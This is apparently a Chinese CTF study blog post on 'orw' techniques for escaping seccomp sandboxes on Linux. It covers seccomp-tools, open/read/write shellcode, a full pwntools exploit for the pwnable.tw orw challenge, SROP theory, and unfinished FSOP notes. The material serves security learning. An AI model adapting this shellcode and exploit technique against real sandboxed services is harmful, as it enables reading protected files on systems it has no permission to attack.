orw笔记(持续更新)


orw

介绍

orw禁用了系统调用,采用了沙箱技术开启了沙箱保护,我们不能正常的get shell,只能用ROP链来调用其他的函数,这时候需要通过调用open、read、write这样的函数打开flag

沙箱函数

原始的沙箱都是使用prctl()函数进行,所以能看见这个函数的时候一般都有开了沙箱

**prctl** ( int **option**,unsigned long arg2,unsigned long arg3,unsigned long arg4,unsigned long arg5 )

查看沙箱

可以通过seccomp-tools来判断是否添加沙箱,以及查看沙箱的规则

seccomp-tools的安装

$ sudo apt install gcc ruby-dev
$ gem install seccomp-tools

seccomp-tools的使用

seccomp-tools dump ./pwn

mmap()

一般来说,orw这种类型的题都会有一个mmap函数来改写一个地址的读写权限,我们需要利用这块地址来构造ROP链。

void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset);

shellcode绕过

原理

没有开启NX保护的时候,可以让程序执行自己输入的指令直接调用orw三个系统调用(x86下的shellcode,x64需要修改一下寄存器)

#fd = open('/home/orw/flag',0) 
s = ''' xor edx,edx; mov ecx,0; mov ebx,0x804a094; mov eax,5; int 0x80; '''

#read(fd,0x804a094,0x20) 
s = ''' mov edx,0x40; mov ecx,ebx; mov ebx,eax; mov eax,3; int 0x80; '''

#write(1,0x804a094,0x20) 
s = ''' mov edx,0x40; mov ebx,1; mov eax,4 int 0x80; '''

ROP绕过

原理

开启NX保护的题目,无法执行shellcode,需要通过ROP来调用orw的三个函数

pwnable.tw orw

先checksec一下

看一下函数逻辑

先是orw_seccomp限定了orw,然后hint用shellcode过去

那么写exp:

from pwn import *

context(os="linux", arch="i386", log_level="debug")

bss = 0x0804A040

#p = process('./orw')
p = remote('chall.pwnable.tw',10001)
p.recvuntil('shellcode:')

#open
shellcode = asm("xor ebx,ebx;xor ecx,ecx;xor edx,edx;xor eax,eax;push ebx ;push 0x67616c66 ;push 0x2f77726f ;push 0x2f656d6f ;push 0x682f2f2f ;mov ebx,esp;mov al,0x5;int 0x80;")

#read
shellcode += asm("mov ebx,0x3;mov ecx,esp ;mov edx,0x40;xor eax,eax;mov al,0x3;int 0x80;")

#write
shellcode += asm("mov ebx,0x1;xor eax,eax ;mov al,0x4;int 0x80;")

p.sendline(shellcode)
p.interactive()

SROP

signal 机制

signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:

内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。

内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。

需要注意的是,这一部分是在用户进程的地址空间的。

之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。

我的理解是,触发信号之后会进入内核然后寄存器压栈,然后准备sigreturn的调用。

原理

如果我们伪造栈上的进程上下文再直接调用sigreturn系统调用,就能通过伪造的进程上下文中的各种寄存器随意设置寄存器、跳转任意地址

利用set_context

(下面还没学,学完之后更新)

FSOP

禁用free_hook则打malloc_hook

House of KIWI

参考博客:https://www.cnblogs.com/fuxuqiannian/p/17144953.html

https://x1ng.top/2021/10/28/pwn-orw%E6%80%BB%E7%BB%93/

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop/#_2


文章作者: J1ton9
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 J1ton9 !
评论
评论
  目录
'); }